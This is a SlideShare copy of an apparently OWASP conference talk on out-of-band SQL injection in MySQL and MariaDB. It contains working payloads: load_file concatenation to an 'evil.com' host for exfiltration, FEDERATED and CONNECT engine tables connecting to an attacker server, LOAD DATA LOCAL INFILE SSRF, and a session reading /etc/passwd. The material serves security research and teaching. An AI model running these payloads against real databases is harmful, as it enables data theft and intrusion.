SlideShare a Scribd company logo
7
Most read
8
Most read
13
Most read
MySQL
OOB
injections
Can I surprize you?
@d0znpp
BIO
@d0znpp
● Researcher
● Bug hunter
● Wallarm CEO
MySQL today
● MySQL (http://www.oracle.com/us/products/mysql/overview/index.html)
○ Enterprise Edition (http://www.oracle.com/us/products/mysql/mysqlenterprise/overview/index.html)
○ Standard Edition (http://www.oracle.com/us/products/mysql/mysqlstandard/overview/index.html)
○ Classic Edition (http://www.oracle.com/us/products/mysql/mysqlclassic/overview/index.html)
○ Community Edition (http://www.oracle.com/us/products/mysql/mysqlcommunityserver/overview/index.html)
○ Cluster CGE (http://www.oracle.com/us/products/mysql/mysqlcluster/overview/index.html)
○ Embedded (OEM/ISV) (http://www.oracle.com/us/products/mysql/mysqlembedded/overview/index.html)
● MariaDB (https://mariadb.org/)
● Percona (https://www.percona.com/) *out of scope
SQL injections summary
● Classic (data from query puts into response) a.k.a. “UNION SELECT”
● Blind (no SQL queries data puts into response)
Blind SQli exploitation techniques:
● Using foreign objects (id='and(1<<(id-1)&length(load_file('/etc/passwd')))--)
● Error-based (when SQL errors puts into responses)
● Boolean search (when status code or smth. else indicates query status)
● Time-based (boolean search where query execution time indicates status)
● Out-of-band (OOB load_file(concat(‘’,version(),’.evil.comoob’)))
Why OOB?
● Faster
● Only one way to exploit asynchronous services
What is asynchronous?
● I want to login. This is my credentials
● Ok. Wait...
● Is it ready?
● Is it ready?
[Russia] MySQL OOB injections
MySQL injections overview
● Cheat sheets
○ http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
○ https://rdot.org/forum/showthread.php?t=124
● Latest error-based tricks:
○ EXP (https://www.exploit-db.com/docs/37953.pdf)
○ Non-geometric (https://rdot.org/forum/showpost.php?p=37133&postcount=1)
○ BIGINT UNSIGNED (https://rdot.org/forum/showthread.php?t=3167)
○ JSON_* (https://twitter.com/dsrbr/status/649963694533775360)
Out-of-band for MySQL and Windows
UNC filenames on Windows systems (http://arxiv.org/pdf/1303.3047.pdf by
Miroslav Štampar)
● LOAD_FILE(concat(‘’,version(),’.evil.comoob’)) function
● SELECT … INTO (OUTFILE | DUMPFILE) ‘...’
And also other file access variants:
● LOAD DATA (LOCAL) INFILE ‘...’
[Russia] MySQL OOB injections
What you must know about “... LOCAL ...”
● LOAD DATA LOCAL INFILE executes on MySQL client. Not on server
● Client could define callback function for this (http://php.net/manual/ru/mysqli.
set-local-infile-handler.php)
● By default this callback implemented in MySQL client driver
● This one supports all available wrappers in your platform
● LOAD DATA LOCAL INFILE ‘(http|php|expect|...)://...’ <- YES! Why not :)
● SSRF there
[Russia] MySQL OOB injections
FEDERATED storage engine OOB
● Different storage engines: MEMORY, CSV, ...
● FEDERATED storage engine (https://dev.mysql.com/doc/refman/5.
7/en/federated-storage-engine.html and https://mariadb.
com/kb/en/mariadb/about-federatedx/)
● CREATE TABLE … ENGINE=FEDERATED CONNECTION=’mysql://…’
CONNECT storage engine OOB (MariaDB)
● Different storage engines: MEMORY, CSV, ...
● CONNECT storage engine (https://mariadb.com/kb/en/mariadb/connect-table-
types-mysql-table-type-accessing-mysqlmariadb-tables/ https://mariadb.
com/kb/en/mariadb/connect-security/)
● OOB through MYSQL and ODBC table_type
● CREATE TABLE t(id int) engine=CONNECT table_type=MYSQL
connection='mysql://root@evil.com/database/table;
The use of the CONNECT engine requires the FILE privilege for "outward" tables. This
should not be an important restriction. The use of CONNECT "outward" tables on a remote
server seems of limited interest without knowing the files existing on it and must be
protected anyway. On the other hand, using it on the local client machine is not an issue
because it is always possible to create locally a user with the FILE privilege.
MariaDB CONNECT ENGINE file access
All of these table types supports file_name argument:
● DOS
● DBF
● BIN
● CSV
● FMT
● XML (no XXE there, sorry :)
● JSON
● INI
MariaDB CONNECT ENGINE file access
MariaDB [test]> create table root(a varchar(1024))
engine=connect table_type=CSV file_name='/etc/passwd';
Query OK, 0 rows affected (0.00 sec)
MariaDB [test]> select * from root;
+-----------------------------------------------------------------------+
| a |
+-----------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash |
| bin:x:1:1:bin:/bin:/sbin/nologin |
| daemon:x:2:2:daemon:/sbin:/sbin/nologin |
| adm:x:3:4:adm:/var/adm:/sbin/nologin |
| lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin |
| sync:x:5:0:sync:/sbin:/bin/sync |
+-----------------------------------------------------------------------+
7 rows in set (0.01 sec)
MariaDB CONNECT ENGINE piece of cheat
https://mariadb.com/kb/en/mariadb/connect-table-types-special-virtual-tables/
… table_type=DIR file_name=’*.frm’ options=’subdir=1’
Also only for Windows:
● MAC (network adapter details)
● WMI (really)
[Russia] MySQL OOB injections
Summary
DBApp
Evil
host
You
SQL queries
FEDERATED,
CONNECT
LOAD DATA|XML
LOCAL
UNC load_file,
INTO
OUTFILE|DUMPF
ILE
Thanks!
Twitter: @d0znpp

More Related Content

PDF
Welcome to the Jungle: Pentesting AWS
PDF
Owasp top 10
PDF
ReCertifying Active Directory
PDF
SANS Purple Team Summit 2021: Active Directory Purple Team Playbooks
PDF
Derbycon - The Unintended Risks of Trusting Active Directory
PDF
How to Plan Purple Team Exercises
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PDF
Kriptoloji
Welcome to the Jungle: Pentesting AWS
Owasp top 10
ReCertifying Active Directory
SANS Purple Team Summit 2021: Active Directory Purple Team Playbooks
Derbycon - The Unintended Risks of Trusting Active Directory
How to Plan Purple Team Exercises
Bug Bounty Hunter Methodology - Nullcon 2016
Kriptoloji

What's hot (20)

PDF
Session7-XSS & CSRF
PDF
How fun of privilege escalation Red Pill2017
PPTX
Owasp top 10 vulnerabilities
PPTX
Bypassing anti virus using powershell
PPTX
MD5 ALGORITHM.pptx
PPTX
OWASP AppSecCali 2015 - Marshalling Pickles
PPTX
Pentesting Android Applications
ODP
2017 DevSecCon ZAP Scripting Workshop
PPTX
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PDF
Ace Up the Sleeve
PDF
Harnessing the Power of AI in AWS Pentesting.pdf
PPT
Time-Based Blind SQL Injection using Heavy Queries
PDF
A Threat Hunter Himself
PDF
Introduction to Cryptography
PPT
Owasp osint presentation - by adam nurudini
PDF
OWASP Mobile Top 10
PDF
Introducing Vault
PPTX
Privileged Access Management (PAM)
PDF
Frans Rosén Keynote at BSides Ahmedabad
Session7-XSS & CSRF
How fun of privilege escalation Red Pill2017
Owasp top 10 vulnerabilities
Bypassing anti virus using powershell
MD5 ALGORITHM.pptx
OWASP AppSecCali 2015 - Marshalling Pickles
Pentesting Android Applications
2017 DevSecCon ZAP Scripting Workshop
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Ace Up the Sleeve
Harnessing the Power of AI in AWS Pentesting.pdf
Time-Based Blind SQL Injection using Heavy Queries
A Threat Hunter Himself
Introduction to Cryptography
Owasp osint presentation - by adam nurudini
OWASP Mobile Top 10
Introducing Vault
Privileged Access Management (PAM)
Frans Rosén Keynote at BSides Ahmedabad
Ad

Viewers also liked (18)

PPTX
Database honeypot by design
PPTX
Advanced data mining in my sql injections using subqueries and custom variables
PDF
[Cluj] CSP (Content Security Policy)
DOC
RESUME OF MAHFUZUR RAHMAN_Oct' 15
PDF
Dia da Música
PDF
[Austria] Security by Design
PDF
[Lithuania] Introduction to threat modeling
PDF
[Russia] Node.JS - Architecture and Vulnerabilities
PDF
[Russia] Give me a stable input
PDF
[Lithuania] DigiCerts and DigiID to Enterprise apps
PDF
[Bucharest] XML Based Attacks
PDF
[Bucharest] Catching up with today's malicious actors
PDF
[Lithuania] I am the cavalry
PDF
[Poland] It's only about frontend
PDF
Beginning PHPUnit
PPT
Advanced SQL Injection
PPTX
Make profit with UI-Redressing attacks.
PDF
CloudFlare vs Incapsula: Round 2
Database honeypot by design
Advanced data mining in my sql injections using subqueries and custom variables
[Cluj] CSP (Content Security Policy)
RESUME OF MAHFUZUR RAHMAN_Oct' 15
Dia da Música
[Austria] Security by Design
[Lithuania] Introduction to threat modeling
[Russia] Node.JS - Architecture and Vulnerabilities
[Russia] Give me a stable input
[Lithuania] DigiCerts and DigiID to Enterprise apps
[Bucharest] XML Based Attacks
[Bucharest] Catching up with today's malicious actors
[Lithuania] I am the cavalry
[Poland] It's only about frontend
Beginning PHPUnit
Advanced SQL Injection
Make profit with UI-Redressing attacks.
CloudFlare vs Incapsula: Round 2
Ad

Similar to [Russia] MySQL OOB injections (20)

PDF
How to create a useful MySQL bug report
PDF
My sql resources_april2012_zht
PDF
Ukoug 2011 mysql_arch_for_orcl_dba
PDF
FOSDEM 2015: gdb tips and tricks for MySQL DBAs
PDF
MySQL HA Orchestrator Proxysql Consul.pdf
PDF
The Full MySQL and MariaDB Parallel Replication Tutorial
PDF
More on gdb for my sql db as (fosdem 2016)
PDF
2016-01-16 03 Денис Нелюбин. How to test a million
PDF
Doctrine Project
PDF
Applying profilers to my sql (fosdem 2017)
PDF
Gdb basics for my sql db as (openfest 2017) final
PPTX
High performance and high availability proxies for MySQL
PDF
MySQL for Oracle DBAs
PDF
Scaling up and accelerating Drupal 8 with NoSQL
PDF
MySQL 5.6 Performance
PDF
MySQL always-up with Galera Cluster
PPTX
Autolab Workshop
PDF
MariaDB/MySQL pitfalls - And how to come out again...
PDF
MySQL Performance Tuning Variables
PDF
MariaDB Paris Workshop 2023 - Performance Optimization
How to create a useful MySQL bug report
My sql resources_april2012_zht
Ukoug 2011 mysql_arch_for_orcl_dba
FOSDEM 2015: gdb tips and tricks for MySQL DBAs
MySQL HA Orchestrator Proxysql Consul.pdf
The Full MySQL and MariaDB Parallel Replication Tutorial
More on gdb for my sql db as (fosdem 2016)
2016-01-16 03 Денис Нелюбин. How to test a million
Doctrine Project
Applying profilers to my sql (fosdem 2017)
Gdb basics for my sql db as (openfest 2017) final
High performance and high availability proxies for MySQL
MySQL for Oracle DBAs
Scaling up and accelerating Drupal 8 with NoSQL
MySQL 5.6 Performance
MySQL always-up with Galera Cluster
Autolab Workshop
MariaDB/MySQL pitfalls - And how to come out again...
MySQL Performance Tuning Variables
MariaDB Paris Workshop 2023 - Performance Optimization

More from OWASP EEE (17)

PDF
[Austria] ZigBee exploited
PPTX
[Austria] How we hacked an online mobile banking Trojan
PDF
[Poland] SecOps live cooking with OWASP appsec tools
PPTX
[Cluj] Turn SSL ON
PDF
[Cluj] Information Security Through Gamification
PDF
[Cluj] A distributed - collaborative client certification system
PDF
[Russia] Bugs -> max, time &lt;= T
PDF
[Russia] Building better product security
PDF
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
PPTX
[Hungary] I play Jack of Information Disclosure
PDF
[Hungary] Survival is not mandatory. The air force one has departured are you...
PDF
[Hungary] Secure Software? Start appreciating your developers!
PDF
[Bucharest] Your intents are dirty, droid!
PDF
[Bucharest] #DontTrustTheDarkSide
PDF
[Bucharest] From SCADA to IoT Cyber Security
PDF
[Bucharest] Reversing the Apple Sandbox
PDF
[Bucharest] Attack is easy, let's talk defence
[Austria] ZigBee exploited
[Austria] How we hacked an online mobile banking Trojan
[Poland] SecOps live cooking with OWASP appsec tools
[Cluj] Turn SSL ON
[Cluj] Information Security Through Gamification
[Cluj] A distributed - collaborative client certification system
[Russia] Bugs -> max, time &lt;= T
[Russia] Building better product security
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Hungary] I play Jack of Information Disclosure
[Hungary] Survival is not mandatory. The air force one has departured are you...
[Hungary] Secure Software? Start appreciating your developers!
[Bucharest] Your intents are dirty, droid!
[Bucharest] #DontTrustTheDarkSide
[Bucharest] From SCADA to IoT Cyber Security
[Bucharest] Reversing the Apple Sandbox
[Bucharest] Attack is easy, let's talk defence

Recently uploaded (20)

PDF
Exploring VPS Hosting Trends for SMBs in 2025
PPTX
Funds Management Learning Material for Beg
PPTX
t_and_OpenAI_Combined_two_pressentations
PPTX
Mathew Digital SEO Checklist Guidlines 2025
DOC
Rose毕业证学历认证,利物浦约翰摩尔斯大学毕业证国外本科毕业证
PDF
Introduction to the IoT system, how the IoT system works
PPTX
Slides PPTX: World Game (s): Eco Economic Epochs.pptx
PPT
FIRE PREVENTION AND CONTROL PLAN- LUS.FM.MQ.OM.UTM.PLN.00014.ppt
PPTX
Layers_of_the_Earth_Grade7.pptx class by
PPTX
Introduction to cybersecurity and digital nettiquette
PDF
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
PDF
Uptota Investor Deck - Where Africa Meets Blockchain
PDF
simpleintnettestmetiaerl for the simple testint
PPT
Ethics in Information System - Management Information System
PDF
Slides PDF: The World Game (s) Eco Economic Epochs.pdf
PPT
250152213-Excitation-SystemWERRT (1).ppt
PDF
si manuel quezon at mga nagawa sa bansang pilipinas
PPTX
Database Information System - Management Information System
PPTX
1402_iCSC_-_RESTful_Web_APIs_--_Josef_Hammer.pptx
PPTX
Power Point - Lesson 3_2.pptx grad school presentation
Exploring VPS Hosting Trends for SMBs in 2025
Funds Management Learning Material for Beg
t_and_OpenAI_Combined_two_pressentations
Mathew Digital SEO Checklist Guidlines 2025
Rose毕业证学历认证,利物浦约翰摩尔斯大学毕业证国外本科毕业证
Introduction to the IoT system, how the IoT system works
Slides PPTX: World Game (s): Eco Economic Epochs.pptx
FIRE PREVENTION AND CONTROL PLAN- LUS.FM.MQ.OM.UTM.PLN.00014.ppt
Layers_of_the_Earth_Grade7.pptx class by
Introduction to cybersecurity and digital nettiquette
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
Uptota Investor Deck - Where Africa Meets Blockchain
simpleintnettestmetiaerl for the simple testint
Ethics in Information System - Management Information System
Slides PDF: The World Game (s) Eco Economic Epochs.pdf
250152213-Excitation-SystemWERRT (1).ppt
si manuel quezon at mga nagawa sa bansang pilipinas
Database Information System - Management Information System
1402_iCSC_-_RESTful_Web_APIs_--_Josef_Hammer.pptx
Power Point - Lesson 3_2.pptx grad school presentation

[Russia] MySQL OOB injections

  • 2. BIO @d0znpp ● Researcher ● Bug hunter ● Wallarm CEO
  • 3. MySQL today ● MySQL (http://www.oracle.com/us/products/mysql/overview/index.html) ○ Enterprise Edition (http://www.oracle.com/us/products/mysql/mysqlenterprise/overview/index.html) ○ Standard Edition (http://www.oracle.com/us/products/mysql/mysqlstandard/overview/index.html) ○ Classic Edition (http://www.oracle.com/us/products/mysql/mysqlclassic/overview/index.html) ○ Community Edition (http://www.oracle.com/us/products/mysql/mysqlcommunityserver/overview/index.html) ○ Cluster CGE (http://www.oracle.com/us/products/mysql/mysqlcluster/overview/index.html) ○ Embedded (OEM/ISV) (http://www.oracle.com/us/products/mysql/mysqlembedded/overview/index.html) ● MariaDB (https://mariadb.org/) ● Percona (https://www.percona.com/) *out of scope
  • 4. SQL injections summary ● Classic (data from query puts into response) a.k.a. “UNION SELECT” ● Blind (no SQL queries data puts into response) Blind SQli exploitation techniques: ● Using foreign objects (id='and(1<<(id-1)&length(load_file('/etc/passwd')))--) ● Error-based (when SQL errors puts into responses) ● Boolean search (when status code or smth. else indicates query status) ● Time-based (boolean search where query execution time indicates status) ● Out-of-band (OOB load_file(concat(‘’,version(),’.evil.comoob’)))
  • 5. Why OOB? ● Faster ● Only one way to exploit asynchronous services What is asynchronous? ● I want to login. This is my credentials ● Ok. Wait... ● Is it ready? ● Is it ready?
  • 7. MySQL injections overview ● Cheat sheets ○ http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet ○ https://rdot.org/forum/showthread.php?t=124 ● Latest error-based tricks: ○ EXP (https://www.exploit-db.com/docs/37953.pdf) ○ Non-geometric (https://rdot.org/forum/showpost.php?p=37133&postcount=1) ○ BIGINT UNSIGNED (https://rdot.org/forum/showthread.php?t=3167) ○ JSON_* (https://twitter.com/dsrbr/status/649963694533775360)
  • 8. Out-of-band for MySQL and Windows UNC filenames on Windows systems (http://arxiv.org/pdf/1303.3047.pdf by Miroslav Štampar) ● LOAD_FILE(concat(‘’,version(),’.evil.comoob’)) function ● SELECT … INTO (OUTFILE | DUMPFILE) ‘...’ And also other file access variants: ● LOAD DATA (LOCAL) INFILE ‘...’
  • 10. What you must know about “... LOCAL ...” ● LOAD DATA LOCAL INFILE executes on MySQL client. Not on server ● Client could define callback function for this (http://php.net/manual/ru/mysqli. set-local-infile-handler.php) ● By default this callback implemented in MySQL client driver ● This one supports all available wrappers in your platform ● LOAD DATA LOCAL INFILE ‘(http|php|expect|...)://...’ <- YES! Why not :) ● SSRF there
  • 12. FEDERATED storage engine OOB ● Different storage engines: MEMORY, CSV, ... ● FEDERATED storage engine (https://dev.mysql.com/doc/refman/5. 7/en/federated-storage-engine.html and https://mariadb. com/kb/en/mariadb/about-federatedx/) ● CREATE TABLE … ENGINE=FEDERATED CONNECTION=’mysql://…’
  • 13. CONNECT storage engine OOB (MariaDB) ● Different storage engines: MEMORY, CSV, ... ● CONNECT storage engine (https://mariadb.com/kb/en/mariadb/connect-table- types-mysql-table-type-accessing-mysqlmariadb-tables/ https://mariadb. com/kb/en/mariadb/connect-security/) ● OOB through MYSQL and ODBC table_type ● CREATE TABLE t(id int) engine=CONNECT table_type=MYSQL connection='mysql://root@evil.com/database/table; The use of the CONNECT engine requires the FILE privilege for "outward" tables. This should not be an important restriction. The use of CONNECT "outward" tables on a remote server seems of limited interest without knowing the files existing on it and must be protected anyway. On the other hand, using it on the local client machine is not an issue because it is always possible to create locally a user with the FILE privilege.
  • 14. MariaDB CONNECT ENGINE file access All of these table types supports file_name argument: ● DOS ● DBF ● BIN ● CSV ● FMT ● XML (no XXE there, sorry :) ● JSON ● INI
  • 15. MariaDB CONNECT ENGINE file access MariaDB [test]> create table root(a varchar(1024)) engine=connect table_type=CSV file_name='/etc/passwd'; Query OK, 0 rows affected (0.00 sec) MariaDB [test]> select * from root; +-----------------------------------------------------------------------+ | a | +-----------------------------------------------------------------------+ | root:x:0:0:root:/root:/bin/bash | | bin:x:1:1:bin:/bin:/sbin/nologin | | daemon:x:2:2:daemon:/sbin:/sbin/nologin | | adm:x:3:4:adm:/var/adm:/sbin/nologin | | lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin | | sync:x:5:0:sync:/sbin:/bin/sync | +-----------------------------------------------------------------------+ 7 rows in set (0.01 sec)
  • 16. MariaDB CONNECT ENGINE piece of cheat https://mariadb.com/kb/en/mariadb/connect-table-types-special-virtual-tables/ … table_type=DIR file_name=’*.frm’ options=’subdir=1’ Also only for Windows: ● MAC (network adapter details) ● WMI (really)